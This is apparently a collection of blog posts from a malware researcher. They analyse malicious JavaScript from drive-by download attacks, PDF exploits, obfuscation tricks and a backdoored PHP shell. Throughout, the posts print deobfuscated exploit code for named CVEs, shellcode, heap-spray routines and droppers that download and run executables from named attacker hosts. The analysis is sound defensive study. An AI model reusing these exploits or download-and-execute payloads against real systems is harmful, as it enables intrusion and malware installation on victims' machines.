Menu:

Showing posts with tag javascript. Show all posts.

Malicious PDFs

Lately, malicious PDFs are becoming more popular. They generally abuse the JavaScript functionality that Adobe added to the PDF specification. Luckily, it is not too difficult to analyze these files, since, as we will see, they use pretty much the same techniques that are used in malicious JavaScript code. I'll use as an example the us.pdf file, which was used in a drive-by exploit attack hosted on 78.157.142.122.

PDFs are generally compressed, so the first step is to uncompress the file. To do this, I generally use the nice pdftk tool:

pdftk us.pdf output us.clear.pdf uncompress

Now, if you open us.clear.pdf, the JavaScript code is nicely readable inside one of the objects defined by the document:

function re(count,what) 
  var v = "";
  while (--count >= 0) v += what;
  return v;
} 
function start() {
var sc = unescape(
  "%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
  "%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
  "%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
  ...
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090");
if (app.viewerVersion >= 7.0) {
  plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    unescape("%u0b0b%u0028%u0aeb%u0aeb") + 
    unescape("%u9090%u9090") + 
    re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    sc + 
    re(1256,unescape("%u4141%u4141"));
} 
else 
{
  ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
  plin = re(80,unescape("%u9090%u9090")) + 
    sc + 
    re(80,unescape("%u9090%u9090"))+ 
    unescape("%ue7e9%ufff9")+
    unescape("%uffff%uffff") + 
    unescape("%uf6eb%uf4eb") + 
    unescape("%uf2eb%uf1eb");
  while ((plin.length % 8) != 0)
    plin = unescape("%u4141") + plin;
  plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",2000);

The code exploits a vulnerability in the collectEmailInfo method of the Collab object (CVE-2007-5659). The shellcode used in the attack downloads an executable file from the same site. Anubis has some interesting details on the behavior of this executable.

Another interesting thing to note is that PDF files can contain quite a few features and behaviors that may surprise and catch off-guard the attackers. Make sure to read Didier Stevens post on how he used the incremental updates feature to reconstruct how the malicious file was created.


18, 25 exploits: who gives more? Oh, and 2 bugs.

Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.

if (
   office() ||
   dl() ||
   pdf() ||
   wme() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here are the exploits we haven't already seen:

The second page has 25 exploits:

if (
   mdac() ||
   dl() ||
       flash() ||
   pdf() ||
   wme() ||
   wfi() ||
   com() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   cr1() ||
   cr2() ||
   cr3() ||
   cr4() ||
           creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here, the "new" ones are:

Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.

First, the function cr3 instantiates the control 07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property ShortFormat. This property doesn't seem to exist. ShortFormat is, instead, the attack vector for the exploit against the Ask Toolbar (included in the cr2 function). It's probably a case of wrong copy-and-paste.

function cr3() {
try {
  var obj = null;
  obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
  if(obj) {
    ms2();
    arg1 = unescape("\x0c");
    while(arg1.length<0x200) arg1+=unescape("\x0c");
    obj.ShortFormat = arg1;
  }   
} catch(e) {}
return 0;
}

Second, and this is present in both pages, the mdss function gets wrong its memory allocation. In fact, it creates a string (in the buf variable) and doubles its length in a loop that should execute 9999 times. Of course, this doesn't bode well: the machine will likely lock up before the offending process goes out of memory and, finally, gets killed.

function mdss(){
  try {
    var obj=null;
    obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
    if(obj){
      ms();
      var buf = addr(0x0c0c0c0c);
      for (i=1;i<=9999;i++)
      buf += buf;
      EngineID="default";
      ...

Interestingly, the original milw0rm exploit did the right thing:

var buf = unescape("%u4141"); 
while (buf.length <= 261) buf = buf + unescape("%u4141");

Probably, another case of wrong copy-and-paste...


17 exploits and some Feng Shui

It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?

<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
  return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}  
function sK5tVpH6uQTNjz(VqiKaGXn){
  var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
    CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
    gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
    OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
      17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
      0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
      56,0,26,21,24,60,18,23,25);
  for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
    LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--) 
  {
    for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
      CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--) 
    {
      qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
      if(gkkYR9OOwch6) {
        W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
        qyBlQcNBGEVh0>>=8;
        gkkYR9OOwch6-=2;
      } else{
        gkkYR9OOwch6=6;
      }
    }
  }
  return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
  ... 
  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>

After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:

if (
    mdac() ||
    office() ||
    dl() ||
    pdf() ||
    wfi() ||
    com() ||
    creative() ||
    wks() ||
    ogame() ||
    ca() ||
    buddy() ||
    gomweb() ||
    xmlcore() ||
    quick() ||
    real() ||
    ntaudio()
     || dani()
    ) {}

The exploits are targeting:

  1. MDAC vulnerability (CVE-2006-0003) and similar. The list of affected classids is suspiciously identical to the corresponding milw0rm's exploit.
  2. WebViewFolder setSlice vulnerability (CVE-2006-3730).
  3. CreateControlRange vulnerability (CVE-2005-0055).
  4. DirectAnimation PathControl vulnerability (CVE-2006-4777).
  5. Snapshot Viewer vulnerability (CVE-2008-2463). Thirteen different Windows versions (languages) are supported.
  6. Sina Downloader.DLoader.1 vulnerability (BID-30223).
  7. WksPictureInterface vulnerability (CVE-2008-2898).
  8. Ourgame IEStartNative vulnerability (SA-30469).
  9. CA AddColumn vulnerability (BID-28268).
  10. SuperBuddy LinkSBIcons vulnerability (CVE-2006-5820).
  11. GomPlayer OpenURL vulnerability (CVE-2007-5779).
  12. XMLHTTP setRequestHeader vulnerability (CVE-2006-5745).
  13. QuickTime RTSP vulnerability (CVE-2007-6166).
  14. RealPlayer Console vulnerability (CVE-2008-1309).
  15. NCTAudioFile2 SetFormatLikeSample vulnerability (CVE-2007-0018).
  16. Creative CacheFolder vulnerability (CVE-2008-0955).
  17. collab.CollabEmailInfo vulnerability (CVE-2007-5659 or CVE-2008-0655).

Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:

function dani() {
    try{
        obj=cobj("DirectAnimation.PathControl");
        if(obj){
            ms();
            init();
            var jmpecx = 0x0c0c0c0c;
            var vtable = addr(0x7ceb9090);
            for (var i = 0; i < 124/4; i++) 
                vtable += addr(jmpecx);
            vtable += padding.substr(0, (1008-138)/2);
            var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
            var fakeObjChunk = padding.substr(0, 
                (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
            CollectGarbage(); 
            flush();
            for (var i = 0; i < 100; i++)
                alloc_str(vtable);
            alloc_str(vtable, "lookaside");
            free("lookaside");
            for (var i = 0; i < 100; i++)
                alloc(0x2010);
            for (var i = 0; i < 2; i++) {
                alloc_str(fakeObjChunk);
                alloc_str(fakeObjChunk, "freeList");
            }       
            alloc_str(fakeObjChunk);
            free("freeList");
            obj.KeyFrame(0x40000801, new Array(1), new Array(1));
        }
    }catch(e){}
    return 0;
}

In all cases, the binary to be downloaded lives at http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most anti-virus

Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.


DOM-based obfuscation in malicious JavaScript

A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.

Here's the code of the malicious page (from reddii.ru):

<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
    dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>

As it's typically done, this code just acts as the decoding routine for the actual exploit code, which is obfuscated. However, in this case, the obfuscated code is stored and dynamically retrieved from the HTML code surrounding the JavaScript code. More precisely, the decoding routine retrieves the value of the attribute value of the HTML element with id vimamikolu2. This string is evaluated via eval: this defines the array kekin1. Then, the code applies String.fromCharCode to each element of the array (xored with a constant value), and writes the result back to the page.

While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!

The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):

function goMDAC() {
    ...
}
function goPDF() {
    wnd=window;
    while (wnd.parent!=wnd)
        wnd=wnd.parent;
    wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
    var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
    var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
     +'svchost.exe';
    try {
        snapattack.SnapshotPath = sfrom;
        snapattack.CompressedPath = sto;
        snapattack.PrintSnapshot(sfrom,sto);
    } catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();

Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...


Backdoored PHP shells

PHP shells are tools that attackers often use to manage compromised web servers. It turns out, some of these attackers may be attacked by their own tools.

In fact, PhishTank report 505183 shows a nice example of a backdoor inserted in a PHP shell. The shell in question is a variant of the w4ck1ng shell. Each page generated by the shell contains the following script tag:

<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://reda-vision.com/config.exe";
var file="run.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,
44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + 
exe + sc(34,59,122,104,97,110,61,34) + file + sc(34,59,99,109,100,115,
115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,
...
97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
</script>

After decoding the JavaScript code, a classic drive-by download attack is revealed:

var ailian,zhan,cmdss;
ailian="http://reda-vision.com/config.exe";
zhan="run.exe";
cmdss="cmd.exe";    
try{    
  var ado=(document.createElement("object"));
  var d=1;
  ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
  var e=1;
  var xml=ado.CreateObject("Microsoft.XMLHTTP","");
  var f=1;
  var ln="Ado";
  var lzn="db.St";
  var an="ream";
  var g=1;
  var as=ado.createobject(ln+lzn+an,"");
  var h=1;
  xml.Open("GET",ailian,0); 
  xml.Send(); 
  as.type=1;
  var n=1;
  as.open();
  as.write(xml.responseBody);
  as.savetofile(zhan,2);
  as.close();
  var shell=ado.createobject("Shell.Application","");
  shell.ShellExecute(zhan,"","","open",0);
  shell.ShellExecute(cmdss," /c del /S /Q /F "+zhan,"","open",0);
} catch(e){};

The config.exe file is detected by one third of the antivirus tools used by VirusTotal, and, according to the Anubis report, behaves like a Bifrost variant.


Web client exploit zoo: SuperBuddy

In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)

So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.

Here is a typical exploit (it is also available as a Metasploit exploit):

function a9_bwCED() {
    try {
        var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
        if (OBGUiGAa) {
            Exhne69P();
            dU578_go(9);
            OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
        }   
    } catch(e) { }   
    return 0;
}

The function Exhne69P sets up the shellcode and the function dU578_go sets a cookie, probably to keep statistics on the success rate of the attack. The actual exploitation occurs by invoking the LinkSBIcons method with the 0x0c0c0c0c parameter.

The vulnerable code is contained in the sb.dll library:

6398692d <LinkSBIcons>::
 6398692d:   push   %ebp
 6398692e:   mov    %esp,%ebp
 63986930:   mov    0xc(%ebp),%eax     ; eax := arg
 63986933:   test   %eax,%eax       
 63986935:   je     0x63986969         ; bail out if NULL
 63986937:   mov    (%eax),%ecx        ; ecx := *arg
 63986939:   push   %esi
 6398693a:   push   %edi
 6398693b:   mov    0x8(%ebp),%edi
 6398693e:   lea    0x30(%edi),%esi
 63986941:   push   %esi
 63986942:   push   $0x6399037c
 63986947:   push   %eax
 63986948:   call   *(%ecx)            ; call *ecx

The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:

SuperBuddy crashes trying to execute code at 0x41414141


JavaScript attack - part II

Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.

Let's meet the shellcode:

var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");

It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.

First, the shellcode obtains the address of kernel32.dll. It uses the PEB-based technique first described by The Last Stage of Delirium:

  0000000E    mov eax,[fs:0x30]         ; get the PEB
  00000014    js 0x22<find_kernel32_9x>
find_kernel32_nt:
  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA
  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList
  0000001C    lodsd
  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base
  00000020    jmp short 0x2b
find_kernel32_9x:
  00000022    mov eax,[eax+0x34]
  00000025    lea eax,[eax+0x7c]
  00000028    mov ebp,[eax+0x3c]

Once the base address of kernel32.dll is known, it can be used to identify the address of useful functions exported in this DLL. To do so, the shellcode defines a routine, let's call it find_function, that walks the export name table of the given DLL and looks for a given function name. Instead of matching directly on the name of the function, the shellcode computes a simple hash of the name, and uses that to locate interesting functions. This is probably done to save some space and obfuscate the purposes of the code.

The find_function expects two parameters: the base address of the DLL (contained in the ebp register) and a pointer to the hash of the function to identify (in the edi register):

find_function:
  000000C4    push ecx  
  000000C5    push esi
  000000C6    mov esi,[ebp+0x3c]        ; get the PE header
  000000C9    mov esi,[esi+ebp+0x78]
  000000CD    add esi,ebp
  000000CF    push esi
  000000D0    mov esi,[esi+0x20]        ; get the export name table
  000000D3    add esi,ebp
  000000D5    xor ecx,ecx
  000000D7    dec ecx
hash_init:
  000000D8    inc ecx
  000000D9    lodsd
  000000DA    add eax,ebp
  000000DC    xor ebx,ebx               ; ebx stores the computed hash
hash_update:
  000000DE    movsx edx,byte [eax]
  000000E1    cmp dl,dh
  000000E3    jz 0xed<hash_done>
  000000E5    ror ebx,0xd
  000000E8    add ebx,edx
  000000EA    inc eax
  000000EB    jmp short 0xde<hash_update>
hash_done:
  000000ED    cmp ebx,[edi]             ; have we found the given hash?
  000000EF    jnz 0xd8<hash_init>
  000000F1    pop esi
  000000F2    mov ebx,[esi+0x24]
  000000F5    add ebx,ebp
  000000F7    mov cx,[ebx+ecx*2]
  000000FB    mov ebx,[esi+0x1c]
  000000FE    add ebx,ebp
  00000100    mov eax,[ebx+ecx*4]
  00000103    add eax,ebp
  00000105    stosd                     ; store the address in place of the hash
  00000106    pop esi
  00000107    pop ecx
  00000108    ret

The hash value is computed with simple ror and add operations. I use the following code to compute the hash of a function name:

unsigned int ror(unsigned int num, int places) {
    return (num >> places) | (num << (32 - places));
}

unsigned int get_hash(const char *name) {
    const char *ch;
    unsigned int hash = 0;

    for (ch = name; *ch; ch++) {
        hash = (ror(hash, 0xd) + *ch);
    }   

    return hash;
}

The hashes of the functions to locate are stored in a table at the end of the shellcode. With the above program and a list of all the functions in kernel32.dll (obtained from here), it is easy to indentify the name of the corresponding functions:

  0000010E      dd 0EC0E4E8Eh           ; LoadLibraryA (hash)
  00000112      dd 0E8AFE98h            ; WinExec (hash)
  00000116      dd 73E2D87Eh            ; ExitProcess (hash)
  0000011A      dd 5B8ACA33h            ; GetTempPathA (hash)
  0000011E      dd 702F1A36h            ; URLDownloadToFileA (hash)

At this point, the shellcode loads urlmon.dll and finds the function URLDownloadToFileA:

  00000037    push dword 0x6e6f
  0000003C    push dword 0x6d6c7275
  00000041    push esp
  00000042    call near [esi]           ; LoadLibraryA("urlmon")
  00000044    mov ebp,eax
  00000046    call 0xc4<find_function>  ; find_function(urlmon.dll, URLDownloadToFileA)

The shellcode then creates a temporary file (using the GetTempPathA function), downloads a file from http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA function), executes the downloaded file (via WinExec), and finally exits (ExitProcess).

Not bad for what initially just looked like a long string in a JavaScript script...


JavaScript attack - part I

JavaScript-based attacks are getting more and more sophisticated, thanks probably to the use of exploit toolkits. Here is an example of a few days ago. The domain involved was adsitelo.com, which seems to have been involved in a round of SQL injection attacks.

As a start, it is interesting to note that the domain was (likely) fast-fluxed. Some of the IP addresses associated with it were 129.118.49.144, 150.254.2.155, 66.40.18.206, 70.244.115.171, 75.71.118.180, 79.94.146.249, 88.107.136.34, 99.234.157.198, and 99.246.193.180.

The initial step of the attack is a redirection: the page http://adsitelo.com/cgi-bin/index.cgi?ad redirects to http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000. Now, if you tried to directly download the landing page, you would be presented with a 500 error page. The real content, in fact, is reachable only under two conditions: the User-Agent identifies the browser as Internet Explorer or Firefox, and the Referer is correctly set. wget allows us to quickly work around these problems:

$ wget --connect-timeout=3 --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" \
--referer=http://adsitelo.com/cgi-bin/index.cgi?ad \
"http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000"

The downloaded document is a JavaScript page:

function X88MxUL0B(U1TaW1TwV, IyxC82Rbo){var c5kJu150o = 4294967296;
var s3KRUV5X6 = arguments.callee;s3KRUV5X6 = s3KRUV5X6.toString();
s3KRUV5X6 = s3KRUV5X6 + location.href;var s4wL1Rf57 = eval;
var SLpdE73p3 = s3KRUV5X6.replace(/\W/g, "");SLpdE73p3 = SLpdE73p3.toUpperCase();
...
var Cm6B7c5TS = 0;try {s4wL1Rf57(LR8yTdO7t);} catch(e) {Cm6B7c5TS = 1;}
try {if (Cm6B7c5TS) {window.location = "/";}} catch(e) {}}
X88MxUL0B('ACada193b99ca7a4667B9668b2A3876BBF705b7Ba96799A578A165687
...
7C6E69667B6c6E6d7c6B69947C676d9A7d6D676279665F5f81');

The script consists of two parts: a decryption routine (named X88MxUL0B) and the encrypted payload (the long string at the end of the script). There are two things to notice in the script:

  1. It uses the well-known arguments.callee.toString() function to prevent modification to the body of the decryption routine.
  2. The code uses the location.href property as part of the decryption key, so that analyses that don't set it correctly will not be able to reconstruct the malicious payload. Another interesting feature of the script is that, on successive requests, the payload was encrypted using different keys, so that it appeared different.

In any case, decrypting the payload is not difficult. I just prepend the following lines to the original script and pass it to Rhino:

location={href:'http://adsitelo.com/cgi-bin/index.cgi?ad'};
eval=print;

The first sets the location.href property as required, the second prints to the console all the strings passed to the eval function for evaluation. The result is... another obfuscated script, exactly similar to the one just decrypted. So, let's apply another round of decryption.

This time, we get a clear-text JavaScript script. The script sets a cookie (probably to show that exploitation is under way) and attempts to perform three attacks. The attacks seem to target vulnerabilities CVE-2006-5820, CVE-2007-5779, and CVE-2007-0015. The Firefox version of the malicious script contains only one attack, probably targeting CVE-2006-0005.

As an example, the code for one of these attacks is:

try {
    var AMOoik_m = new ActiveXObject("GomWebCtrl.GomManager.1");
    if (AMOoik_m) {
        Exhne69P();
        var Amce264J='';
        var dHSLlQxf = 506;

        for(var M13B4SOH=0;M13B4SOH<dHSLlQxf;M13B4SOH++)
            Amce264J += "A";

        Amce264J += unescape("%0c%0c%0c%0c");

        dU578_go(13);
        AMOoik_m.OpenURL(Amce264J);
    }
} catch(e) {
}

The function dU578_go sets a cookie. The function Exhne69P uses heap spray techniques to actually complete the exploit. But this is material for another post :-)


Anatomy of a drive-by download

Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.

Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...

Redirections

The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.

In our case, the injecting page contains two injections. The first injection uses the unescape function to cover its purpose:

document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));

Once decoded, the escaped string reads:


    <IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' + 
    Math.round(Math.random()*30295)+'4f5b' width=83 height=365 
    style='display:none'></IFRAME>

The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:

function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function 
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8&lt;
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");

To quickly recover the code, I redefine the document object to print to the console (document={write:print}) and run the script in rhino:


    <iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
    width=1 height=1 style="display:none"></iframe>

Exploits

A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.

It turns out that the first iframe points at an empty page: it must have already been taken down.

The second iframe is more interesting: it spits out a 302 response to redirect to http://vipasotka.com/in.php (119.42.149.22), which, in turn, redirects to http://golnanosat.com/in.php (same IP address).

in.php is also variously scrambled, but the (now) usual deobfuscation step in rhino allows us to quickly make sense of it. This file generates another somewhat obfuscated JavaScript snippet. After some inspection and some googling, the script appears to be divided in two parts. The first part is essentially a JavaScript rewrite of metasploit's exploit for MS06-014: the code tries very hard to download (via XMLHttpRequest) the executable install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to add it to the startup programs, and to run it. The exploit code is IE-specific and goes to great lengths to "support" a number of different Windows versions.

The second part brings a bag of Java tricks into the picture.


    <applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
    try {
        var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
        var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
        var unsafe=unsafemeth.invoke(unsafemeth,null);
        document.maniman.foobar(unsafe);
        var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
        var chen=unsafe.allocateInstance(chenref);
        chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
        chen.setUname("5010");
        chen.setCID("other");
    }catch(d){}

    <applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
        <param name=usid value=us0105>
        <param name=linkurl
        value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
    </applet>

    <applet archive="ms03011.jar" code="MagicApplet.class" width=1  height=1>
        <param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
    </applet>

The first trick uses reflection and the internal sun.misc.unsafe class to dynamically create a class instance that bypasses the security restrictions of the Java VM: this seems an old bug that dates back to 2004. The second one is recognized by some anti-virus as Java/TrojanDownloader.OpenStream. The last trick looks like an exploit for another old bug (MS03-011) that affected the ByteCode Verifier of the Microsoft VM. In all cases, the goal is to download and execute the usual install.exe file.

Malware

The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.

Discussions

I'll conclude the analysis with some quick considerations: